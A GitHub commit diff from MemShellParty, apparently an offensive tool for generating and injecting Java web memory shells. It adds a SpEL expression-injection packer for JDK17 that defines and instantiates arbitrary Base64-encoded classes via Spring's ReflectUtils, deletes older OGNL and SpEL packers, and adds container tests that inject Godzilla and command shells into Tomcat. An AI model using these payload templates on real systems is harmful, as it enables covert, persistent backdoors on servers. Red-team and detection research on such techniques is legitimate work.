feat: support SpELSpringIOUtilsJDK17 (resolved #83)

Co-authored-by: ReaJason <[email protected]>
This commit is contained in:
小晨曦
2025-08-25 14:34:47 +08:00
committed by GitHub
co-authored by ReaJason
parent 7baa728d0c
commit ed50e93183
12 changed files with 87 additions and 52 deletions
@@ -5,6 +5,7 @@ on:
branches:
- '**'
paths:
- './github/workflows/memshell-integration-test.yml'
- '**/memshell/**'
- '**/packer/**'
+3 -3
View File
@@ -25,12 +25,12 @@ bun run build
3. 构建后端项目,确保使用 JDK17 环境
```bash
cd MemShellParty/boot
cd MemShellParty
./gradlew :boot:bootjar -x test
```
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar`
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-2.0.0.jar`
```bash
cd MemShellParty/boot
@@ -39,7 +39,7 @@ java -jar \
--add-opens=java.base/java.util=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
build/libs/boot-1.0.0.jar
build/libs/boot-2.0.0.jar
```
也可这基础上再继续构建容器来使用
@@ -35,7 +35,10 @@ import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Objects;
import java.util.Random;
import static com.reajason.javaweb.utils.CommonUtil.INJECTOR_CLASS_NAMES;
import static com.reajason.javaweb.utils.CommonUtil.getRandomString;
import static org.hamcrest.CoreMatchers.anyOf;
import static org.hamcrest.CoreMatchers.containsString;
import static org.hamcrest.MatcherAssert.assertThat;
@@ -87,7 +90,7 @@ public class ShellAssertion {
ShellToolConfig shellToolConfig = getShellToolConfig(shellType, shellTool, packer);
MemShellResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, shellToolConfig);
MemShellResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, shellToolConfig, packer);
packerResultAndInject(generateResult, url, shellTool, shellType, packer, appContainer);
@@ -288,11 +291,14 @@ public class ShellAssertion {
return shellToolConfig;
}
public static MemShellResult generate(String urlPattern, String server, String shellType, ShellTool shellTool, int targetJdkVersion, ShellToolConfig shellToolConfig) {
public static MemShellResult generate(String urlPattern, String server, String shellType, ShellTool shellTool, int targetJdkVersion, ShellToolConfig shellToolConfig, Packers packer) {
InjectorConfig injectorConfig = new InjectorConfig();
if (StringUtils.isNotBlank(urlPattern)) {
injectorConfig.setUrlPattern(urlPattern);
}
if (Packers.SpELSpringIOUtilsJDK17.equals(packer)) {
injectorConfig.setInjectorClassName("org.springframework.expression." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)] + getRandomString(5));
}
ShellConfig shellConfig = ShellConfig.builder()
.server(server)
@@ -324,8 +330,9 @@ public class ShellAssertion {
}
case ScriptEngine -> VulTool.postIsOk(url + "/js", content);
case EL -> VulTool.postIsOk(url + "/el", content);
case SpEL, SpELSpringIOUtils, SpELScriptEngine, SpELSpringUtils -> VulTool.postIsOk(url + "/spel", content);
case OGNL, OGNLSpringIOUtils, OGNLScriptEngine, OGNLSpringUtils -> VulTool.postIsOk(url + "/ognl", content);
case SpEL, SpELSpringIOUtils, SpELScriptEngine, SpELSpringIOUtilsJDK17 ->
VulTool.postIsOk(url + "/spel", content);
case OGNL, OGNLSpringIOUtils, OGNLScriptEngine -> VulTool.postIsOk(url + "/ognl", content);
case MVEL -> VulTool.postIsOk(url + "/mvel", content);
case JXPath -> VulTool.postIsOk(url + "/jxpath", content);
case JEXL -> VulTool.postIsOk(url + "/jexl2", content);
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.springwebmvc;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
@@ -8,6 +9,7 @@ import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
@@ -100,4 +102,9 @@ public class SpringBoot3ContainerTest {
void testTomcat(String imageName, String shellType, ShellTool shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container, python);
}
@Test
void testCommandValveSpELSpringIOUtilsJDK17() {
ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, ShellType.JAKARTA_VALVE, ShellTool.Command, Opcodes.V17, Packers.SpELSpringIOUtilsJDK17, container);
}
}
@@ -78,7 +78,7 @@ public class Tomcat8CommandEncryptorContainerTest {
.encryptor(CommandConfig.Encryptor.DOUBLE_BASE64)
.build();
MemShellResult generateResult = ShellAssertion.generate(urlPattern, Server.Tomcat, shellType, shellTool, Opcodes.V1_8, shellToolConfig);
MemShellResult generateResult = ShellAssertion.generate(urlPattern, Server.Tomcat, shellType, shellTool, Opcodes.V1_8, shellToolConfig, packer);
ShellAssertion.packerResultAndInject(generateResult, url, shellTool, shellType, packer, container);
@@ -44,11 +44,9 @@ public class Tomcat8ExpressionContainerTest {
return Stream.of(
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.EL),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLSpringUtils),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLSpringIOUtils),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.MVEL),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELSpringUtils),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELSpringIOUtils),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JEXL),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPath),
@@ -16,12 +16,18 @@ public interface AggregatePacker extends Packer {
* 聚合打包当前所有分类下的 payload
*
* @param config 生成结果
* @return key -> 打包名称, value -> 打包 payload
* @return key -> 打包名称,value -> 打包 payload
*/
default Map<String, String> packAll(ClassPackerConfig config) {
return Packers.getPackersWithParent(this.getClass()).stream().collect(Collectors.toMap(
Enum::name,
packers -> packers.getInstance().pack(config),
packers -> {
try {
return packers.getInstance().pack(config);
} catch (Exception e) {
return e.getMessage();
}
},
(existing, replacement) -> existing,
LinkedHashMap::new
));
@@ -33,13 +33,12 @@ import com.reajason.javaweb.packer.mvel.MVELPacker;
import com.reajason.javaweb.packer.ognl.OGNLPacker;
import com.reajason.javaweb.packer.ognl.OGNLScriptEnginePacker;
import com.reajason.javaweb.packer.ognl.OGNLSpringIOUtilsGzipPacker;
import com.reajason.javaweb.packer.ognl.OGNLSpringUtilsPacker;
import com.reajason.javaweb.packer.rhino.RhinoPacker;
import com.reajason.javaweb.packer.scriptengine.ScriptEnginePacker;
import com.reajason.javaweb.packer.spel.SpELPacker;
import com.reajason.javaweb.packer.spel.SpELScriptEnginePacker;
import com.reajason.javaweb.packer.spel.SpELSpringIOUtilsGzipJDK17Packer;
import com.reajason.javaweb.packer.spel.SpELSpringIOUtilsGzipPacker;
import com.reajason.javaweb.packer.spel.SpELSpringUtilsPacker;
import com.reajason.javaweb.packer.velocity.VelocityPacker;
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker;
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
@@ -92,7 +91,6 @@ public enum Packers {
OGNL(new OGNLPacker()),
OGNLScriptEngine(new OGNLScriptEnginePacker(), OGNLPacker.class),
OGNLSpringUtils(new OGNLSpringUtilsPacker(), OGNLPacker.class),
OGNLSpringIOUtils(new OGNLSpringIOUtilsGzipPacker(), OGNLPacker.class),
MVEL(new MVELPacker()),
@@ -104,7 +102,7 @@ public enum Packers {
SpEL(new SpELPacker()),
SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class),
SpELSpringIOUtils(new SpELSpringIOUtilsGzipPacker(), SpELPacker.class),
SpELSpringUtils(new SpELSpringUtilsPacker(), SpELPacker.class),
SpELSpringIOUtilsJDK17(new SpELSpringIOUtilsGzipJDK17Packer(), SpELPacker.class),
Groovy(new GroovyPacker()),
GroovyClassDefiner(new GroovyClassDefinerPacker(), GroovyPacker.class),
@@ -1,18 +0,0 @@
package com.reajason.javaweb.packer.ognl;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
/**
* @author ReaJason
* @since 2025/7/7
*/
public class OGNLSpringUtilsPacker implements Packer {
String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}'),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance()";
@Override
public String pack(ClassPackerConfig config) {
return template.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", config.getClassBytesBase64Str());
}
}
@@ -0,0 +1,28 @@
package com.reajason.javaweb.packer.spel;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class SpELSpringIOUtilsGzipJDK17Packer implements Packer {
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}'),T(java.lang.Thread).currentThread().getContextClassLoader(),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()";
@Override
public String pack(ClassPackerConfig config) {
String className = config.getClassName();
assertClassNameValid(className);
return template.replace("{{className}}", className)
.replace("{{base64Str}}", config.getClassBytesBase64Str());
}
public static void assertClassNameValid(String className) {
String packageName = className.substring(0, className.lastIndexOf("."));
if (!"org.springframework.expression".equals(packageName)) {
throw new UnsupportedOperationException(className + " is not supported, please set className in same package org.springframework.expression, " +
"for example, org.springframework.expression.CommonUtil, org.springframework.expression.sub.CommonUtil will also not work");
}
}
}
@@ -1,18 +0,0 @@
package com.reajason.javaweb.packer.spel;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class SpELSpringUtilsPacker implements Packer {
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
@Override
public String pack(ClassPackerConfig config) {
return template.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", config.getClassBytesBase64Str());
}
}
@@ -0,0 +1,26 @@
package com.reajason.javaweb.packer.spel;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packers;
import org.apache.commons.codec.binary.Base64;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.Test;
/**
* @author ReaJason
* @since 2025/8/25
*/
class SpELSpringIOUtilsGzipJDK17PackerTest {
@Test
void pack() {
ClassPackerConfig classPackerConfig = new ClassPackerConfig();
classPackerConfig.setClassName("org.springframework.expression.sub.CommonUtil");
classPackerConfig.setClassBytes("hello".getBytes());
classPackerConfig.setClassBytesBase64Str(Base64.encodeBase64String("hello".getBytes()));
Assertions.assertThrows(UnsupportedOperationException.class, () -> Packers.SpELSpringIOUtilsJDK17.getInstance().pack(classPackerConfig));
classPackerConfig.setClassName("org.springframework.expression.CommonUtil");
Assertions.assertDoesNotThrow(() -> Packers.SpELSpringIOUtilsJDK17.getInstance().pack(classPackerConfig));
}
}